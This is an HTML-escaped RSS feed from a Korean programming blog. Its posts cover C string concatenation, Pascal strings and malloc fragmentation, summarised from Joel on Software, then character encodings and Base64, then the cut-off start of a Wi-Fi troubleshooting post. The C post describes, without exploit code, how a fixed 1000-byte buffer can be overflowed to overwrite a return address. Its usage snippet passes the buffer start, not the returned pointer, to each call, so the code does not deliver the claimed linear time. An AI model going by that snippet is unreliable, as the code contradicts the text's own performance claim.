&lt;p data-ke-size=&quot;size16&quot;&gt;이와 같은 문제점은 먼저 다음과 같이 수정이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1763388083000&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char* mystrcat(char* dest, char* src)
{
    while (*dest) dest++;
    while (*dest++ = *src++);
    return --dest;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 함수는 새로 만들어진 더 긴 문자열의 끝을 가리키는 포인터를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 함수를 호출하는 함수는 문자열을 새로 읽지 않고서도 덧붙이는 장소를 결정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1763388510414&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char bigString[1000]; // 얼마나 할당해야 하는지 모름
char *p = bigString;

bigString[0] = '\0';

p = mystrcat(bigString, &quot;John, &quot;);
p = mystrcat(bigString, &quot;Paul, &quot;);
p = mystrcat(bigString, &quot;Geprge, &quot;);
p = mystrcat(bigString, &quot;Joel &quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 n제곱이 아니라 선형 효율 &lt;b&gt;O(n)&amp;nbsp;&lt;/b&gt;을 발휘하므로, 대량으로 문자열을 결합할 경우에 성능이 떨어지지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파스칼 설계자들은 이미 이런 문제점을 알고있었으며, 문자열의 첫 바이트에 바이트 개수를 저장하는 방법으로 이를 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 문자열을 파스칼 문자열이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파스칼 문자열은 널 문자를 포함할 수 있으며, 바이트에 들어가는 가장 큰 숫자가 255이므로, 파스칼 문자열은 255 바이트로 길이를 제한했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리의 예제 코드를 다시 살펴보면 문제가 있는데, 바로 버퍼 오버플로에 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;해커는 1000바이트를 넘어선 1100 바이트 문자열을 덧붙일 수 있다.&lt;/li&gt;
&lt;li&gt;이렇게 스택 프레임을 덮어쓰는 방법으로 반환 주소를 바꿔놓아 함수가 끝나고 돌아가는 시점에 해커가 작성한 코드를 수행하게 만들 수 있다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 프로그래머는 얼마나 많은 기억공간을 할당해야 할지 계산해야만 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드는 아래와 같다. 조금 곤란하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1763389299220&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char* bigString;
int i = 0;
i = strlen(&quot;John, &quot;)
+ strlen(&quot;Paul, &quot;)
+ strlen(&quot;George, &quot;)
+ strlen(&quot;Joel &quot;);

bigString = (char*) malloc (i + 1);
// 널 문자를 위한 공간을 고려하세요&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 문자열 크기를 알아내기 위해 모든 문자열을 탐색했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 덧붙이는 과정에서 문자열을 탐색한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최소한 파스칼 문자열을 사용할 경우라면, strlen 연산은 빠르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 자동으로 기억공간을 다시 할당하는 strcat 버전을 작성할 수 도 있따.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 기억 공간 할당자라는 골치 아픈 문제가 등장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;malloc의 본질은 사용 가능한 메모리 블록을 연결 리스트로 길게 연결한 자유 체인(free chain)이다.&lt;/li&gt;
&lt;li&gt;malloc은 연결 리스트를 따라가며, 요청 받은 메모리 양보다 큰 블록을 찾는다.&lt;/li&gt;
&lt;li&gt;이렇게 찾은 블록을 2개로 쪼개서, 하나는 호출한 사용자에게 반환하며, 쪼개고 난 다음에 남아있는 블록은 다시 연결 리스트에 넣어둔다.&lt;/li&gt;
&lt;li&gt;free를 호출할 때, free는 해제한 메모리를 자유 체인에 추가한다.&lt;/li&gt;
&lt;li&gt;결국 자유 체인은 자그마한 조각으로 잘게 쪼개지므로, 큰 조각을 요청하면, 원하는 크기를 충족하는 조각이 없을 수도 있다.&lt;/li&gt;
&lt;li&gt;이럴 경우 malloc이 타임아웃을 선언한 다음에 자유 체인 주위를 샅샅이 훑어 조각을 정렬하고 인접한 작은 자유 블록을 더 큰 블록으로 결합한다.&lt;/li&gt;
&lt;li&gt;결국 오래 걸리는 작업이고, 이 모든 혼란의 끝은 malloc의 성능 특성이 결코 아주 빠르다고 볼 수 없으며, 정리하는 과정에서 예측 불가능하게 오래걸릴 수 있다는 사실로 귀결된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책을 읽으면서, 위의 내용이 학부생 때 배운 메모리 단편화의 문제면서, 해당 내용이 JVM 동작과 유사하다고 생각했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책에서는 이런 현상이 가비지 컬렉션을 지원하는 시스템과 동일한 성능 특성이며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 전형적인 malloc 구현을 따라도 가비지 컬렉션과 비슷한 성능 이슈가 생길 수 있다고 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;똑똑한 프로그래머는 항상 2배수로 메모리 블록을 할당하는 방법으로 잠재적적인 소란을 최소화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 방법은 자유 체인에서 생기는 무시무시한 단편화 문제를 상당히 줄여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 realloc을 호출할 때, 항상 직전에 할당했던 두배 크기로 기억 공간을 늘려야 한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 방식을 따른다면 realloc 호출이 log(n)번을 초과할 필요가 전혀 없으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아주 큰 문자열을 처리하는 경우라도 그럴 듯한 성능 특성을 보여주면서 동시에 결코 50%를 초과해서 기억 공간을 낭비하지 않음을 보장한다,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 책에서는 XML 을 별로라고 말하는 사람에게 장점도 말하는데(구문 트리 관련) 이는 생략하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;포스팅 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책에서는 전공자들이 C를 대충 배우고 JAVA를 바로 사용하는 것을 비판하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 시대는 더욱 더 발전해서 AI 가 대부분의 코딩 작업을 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그래머? 개발자로 살아가면서 제일 중요한 건 기초와 열정이라고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 글을 작성하면서 열정과 기초를 다지는 게 중요하다는 동기 부여를 위해 작성하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 C는 학부생 3학년부터 작성을 한 적이 없기에 허헣... 머쓱..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;기초가 제일 중요한 법..!!!&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;책에서 준 숙제&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트랜스메타 칩이 항상 굼벵이처럼 기어가는 이유&lt;/li&gt;
&lt;li&gt;HTML의 기본 TABLE을 위한 규격 명세를 너무나도 형편없이 설계한 탓에, 모뎀 사용자의 웹 페이지에서는 큰 테이블이 늦게 뜨는 이유&lt;/li&gt;
&lt;li&gt;COM이 너무 빠르지만, 프로세스 경계를 가로지를 때는 느린 이유&lt;/li&gt;
&lt;li&gt;NT 개발자들이 화면 드라이버를 커널 공간에서 사용자 공간으로 이동한 이유&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상으로 포스팅을 마칩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발</category>
      <category>C</category>
      <category>c++</category>
      <category>Computer science</category>
      <category>cs</category>
      <category>C언어</category>
      <category>OS</category>
      <category>programmer</category>
      <category>기본기</category>
      <category>메모리 단편화</category>
      <category>조엘 온 소프트웨어</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/365</guid>
      <comments>https://devdebin.tistory.com/365#entry365comment</comments>
      <pubDate>Mon, 17 Nov 2025 23:59:33 +0900</pubDate>
    </item>
    <item>
      <title>인코딩(Encoding) 이란</title>
      <link>https://devdebin.tistory.com/364</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 인코딩이란&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인코딩이란 사람이나 컴퓨터가 이해할 수 있는 형태로 정보를 변환하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;문자 인코딩 정의와 단계&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴퓨터는 문자 그대로를 이해하지 못한다. 숫자(이진수)로만 이해할 수 있다.&lt;/li&gt;
&lt;li&gt;그래서 문자를 숫자로 바꾸는 규칙이 필요한데, 이를 문자 인코딩이라고한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;625&quot; data-start=&quot;343&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;377&quot; data-start=&quot;343&quot;&gt;&lt;b&gt;문자 선택&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;377&quot; data-start=&quot;359&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;377&quot; data-start=&quot;359&quot;&gt;예: 사용자가 &amp;ldquo;A&amp;rdquo;를 입력.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;464&quot; data-start=&quot;379&quot;&gt;&lt;b&gt;문자표(Character Set)에서 코드값 찾기&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;464&quot; data-start=&quot;417&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;437&quot; data-start=&quot;417&quot;&gt;각 문자에는 고유한 번호가 있음.&lt;/li&gt;
&lt;li data-end=&quot;464&quot; data-start=&quot;441&quot;&gt;예: ASCII 표에서 A = 65&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;509&quot; data-start=&quot;466&quot;&gt;&lt;b&gt;이진수 변환&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;509&quot; data-start=&quot;483&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;509&quot; data-start=&quot;483&quot;&gt;65(10진수) &amp;rarr; 01000001(2진수)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;560&quot; data-start=&quot;511&quot;&gt;&lt;b&gt;저장 또는 전송&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;560&quot; data-start=&quot;530&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;560&quot; data-start=&quot;530&quot;&gt;파일이나 네트워크를 통해 01000001이 전송됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;625&quot; data-start=&quot;562&quot;&gt;&lt;b&gt;복호화(Decoding)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;625&quot; data-start=&quot;586&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;625&quot; data-start=&quot;586&quot;&gt;받는 쪽에서 같은 문자표를 이용해 01000001 &amp;rarr; &amp;ldquo;A&amp;rdquo;로 변환&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;네트워크 인코딩 정의와 단계&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터넷으로 데이터를 주고 받을 때 글자나 파일을 전송 가능한 형태(ex: Base64)로 바꾸는 것도 인코딩이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Base64&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Base64는 이진 데이터를 ASCII 텍스트 형식으로 변환해 준다.&lt;/li&gt;
&lt;li&gt;이 방식은 텍스트만 처리할 수 있는 시스템에서 이진 데이터를 안전하게 전송할 수 있게 해준다.&lt;/li&gt;
&lt;li&gt;예를 들어, 이메일 시스템은 일반적으로 텍스트 데이터를 주고받기 때문에 이미지를 이메일로 보내기 위해서는 Base64로 인코딩해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디코딩은 변환된 데이터를 원래 형태로 되돌리는 과정을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 인코딩이 필요한 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴퓨터와 소통하기 위함
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴퓨터는 전기 신호, 0과 1인 이진수로만 데이터를 처리할 수 있다.&lt;/li&gt;
&lt;li&gt;그러나 사람들이 사용하는 건 글자, 이미지, 소리 같은 인간 친화적인 정보다.&lt;/li&gt;
&lt;li&gt;그래서 이걸 컴퓨터가 읽을 수 있게 숫자나 코드로 변환(인코딩) 해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;호환성과 일관성을 유지하기 위함&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세상에는 다양한 시스템이 존재하면서 각각 데이터 처리 방식이 다를 수 있다.&lt;/li&gt;
&lt;li&gt;인코딩 규칙을 정하면 모든 시스템이 같은 데이터를 똑같이 이해할 수 있다.&lt;/li&gt;
&lt;li&gt;일종의 표준 규격을 정한 것&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 인코딩 형식과 수많은 형식이 존재하는 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터가 처음 만들어졌을 때는 미국, 영어권에서 주로 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 초기에 만든 인코딩 표준은 영어 알파벳만 표현할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 ASCII 는 A~Z, 숫자, 기호 등 &lt;b&gt;128개 문자&lt;/b&gt;만 표현이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한자와 한글, 일본어 등은 표현이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 전 세계 사람들이 컴퓨터를 쓰기 시작하면서 문제가 생겼는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영어가 아닌 다른 언어는 ASCII로는 표현이 불가능했기 때문이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 나라별로 자기 언어를 표현하기 위해 독자적인 인코딩 형식을 만들기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;한국&lt;/td&gt;
&lt;td&gt;EUC-KR, CP949&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;일본&lt;/td&gt;
&lt;td&gt;Shift_JIS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중국&lt;/td&gt;
&lt;td&gt;GB2312, GBK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;전세계 공용&lt;/td&gt;
&lt;td&gt;UTF-8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 문제가 발생하는데, 서로 다른 인코딩을 쓰면 같은 문자가 다른 문자로 저장돼서 글자 깨짐 현상이 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위해 모든 나라의 문자를 하나로 통합 코드로 표현하는 표준인 유니코드(Unicode) 가 등장했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 유니코드를 실제로 저장하는 방식이 여러 가지인데,&lt;br /&gt;그게 바로 &lt;b&gt;UTF-8, UTF-16, UTF-32&lt;/b&gt; 같은 &lt;b&gt;유니코드 인코딩 형식&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1450&quot; data-start=&quot;1168&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;인코딩 형식&lt;/td&gt;
&lt;td&gt;장점&lt;/td&gt;
&lt;td&gt;단점&lt;/td&gt;
&lt;td&gt;주 사용처&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1277&quot; data-start=&quot;1241&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1249&quot; data-start=&quot;1241&quot;&gt;ASCII&lt;/td&gt;
&lt;td data-end=&quot;1258&quot; data-start=&quot;1249&quot; data-col-size=&quot;sm&quot;&gt;단순, 작음&lt;/td&gt;
&lt;td data-end=&quot;1267&quot; data-start=&quot;1258&quot; data-col-size=&quot;sm&quot;&gt;영어만 가능&lt;/td&gt;
&lt;td data-end=&quot;1277&quot; data-start=&quot;1267&quot; data-col-size=&quot;sm&quot;&gt;초기 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1316&quot; data-start=&quot;1278&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1287&quot; data-start=&quot;1278&quot;&gt;EUC-KR&lt;/td&gt;
&lt;td data-end=&quot;1295&quot; data-start=&quot;1287&quot; data-col-size=&quot;sm&quot;&gt;한글 지원&lt;/td&gt;
&lt;td data-end=&quot;1306&quot; data-start=&quot;1295&quot; data-col-size=&quot;sm&quot;&gt;다른 언어 깨짐&lt;/td&gt;
&lt;td data-end=&quot;1316&quot; data-start=&quot;1306&quot; data-col-size=&quot;sm&quot;&gt;옛날 윈도우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1365&quot; data-start=&quot;1317&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1325&quot; data-start=&quot;1317&quot;&gt;UTF-8&lt;/td&gt;
&lt;td data-end=&quot;1338&quot; data-start=&quot;1325&quot; data-col-size=&quot;sm&quot;&gt;전 세계 언어 호환&lt;/td&gt;
&lt;td data-end=&quot;1352&quot; data-start=&quot;1338&quot; data-col-size=&quot;sm&quot;&gt;일부 문자 크기 커짐&lt;/td&gt;
&lt;td data-end=&quot;1365&quot; data-start=&quot;1352&quot; data-col-size=&quot;sm&quot;&gt;웹, 현대 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1411&quot; data-start=&quot;1366&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1375&quot; data-start=&quot;1366&quot;&gt;UTF-16&lt;/td&gt;
&lt;td data-end=&quot;1387&quot; data-start=&quot;1375&quot; data-col-size=&quot;sm&quot;&gt;고정 길이(일부)&lt;/td&gt;
&lt;td data-end=&quot;1396&quot; data-start=&quot;1387&quot; data-col-size=&quot;sm&quot;&gt;저장공간 큼&lt;/td&gt;
&lt;td data-end=&quot;1411&quot; data-start=&quot;1396&quot; data-col-size=&quot;sm&quot;&gt;윈도우 내부, 모바일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1450&quot; data-start=&quot;1412&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1421&quot; data-start=&quot;1412&quot;&gt;UTF-32&lt;/td&gt;
&lt;td data-end=&quot;1429&quot; data-start=&quot;1421&quot; data-col-size=&quot;sm&quot;&gt;단순 구조&lt;/td&gt;
&lt;td data-end=&quot;1440&quot; data-start=&quot;1429&quot; data-col-size=&quot;sm&quot;&gt;공간 낭비 심함&lt;/td&gt;
&lt;td data-end=&quot;1450&quot; data-start=&quot;1440&quot; data-col-size=&quot;sm&quot;&gt;특수 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &amp;ldquo;모든 문자 표현&amp;rdquo; vs &amp;ldquo;저장 효율&amp;rdquo; 사이의 &lt;b&gt;트레이드오프&lt;/b&gt; 때문에 서로 다른 인코딩 형식이 계속 생겨났다.&lt;/p&gt;</description>
      <category>OS</category>
      <category>base64</category>
      <category>computer</category>
      <category>cs</category>
      <category>decoding</category>
      <category>encoding</category>
      <category>Unicode</category>
      <category>디코딩</category>
      <category>인코딩</category>
      <category>컴퓨터</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/364</guid>
      <comments>https://devdebin.tistory.com/364#entry364comment</comments>
      <pubDate>Sun, 26 Oct 2025 21:26:17 +0900</pubDate>
    </item>
    <item>
      <title>5GHz Wi-Fi가 보이지 않아요</title>
      <link>https://devdebin.tistory.com/363</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결혼 및 독립을 하면서 데스크탑도 새로 사고 인터넷도 새로 설치했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;데스크탑 세팅을 하면서 와이파이 스캔을 하면 우리집 5GHz 와이파이가 안보이는 문제가 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;해결 과정과 상황을 정리해보려고한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;143&quot; data-start=&quot;129&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문제 상황 요약&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;326&quot; data-start=&quot;145&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;194&quot; data-start=&quot;145&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5GHz Wi-Fi가 잡혀야 하는데 &lt;b&gt;PC에서 우리집 공유기의 2.4GHZ만 보이고, 5GHz는 안보임&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
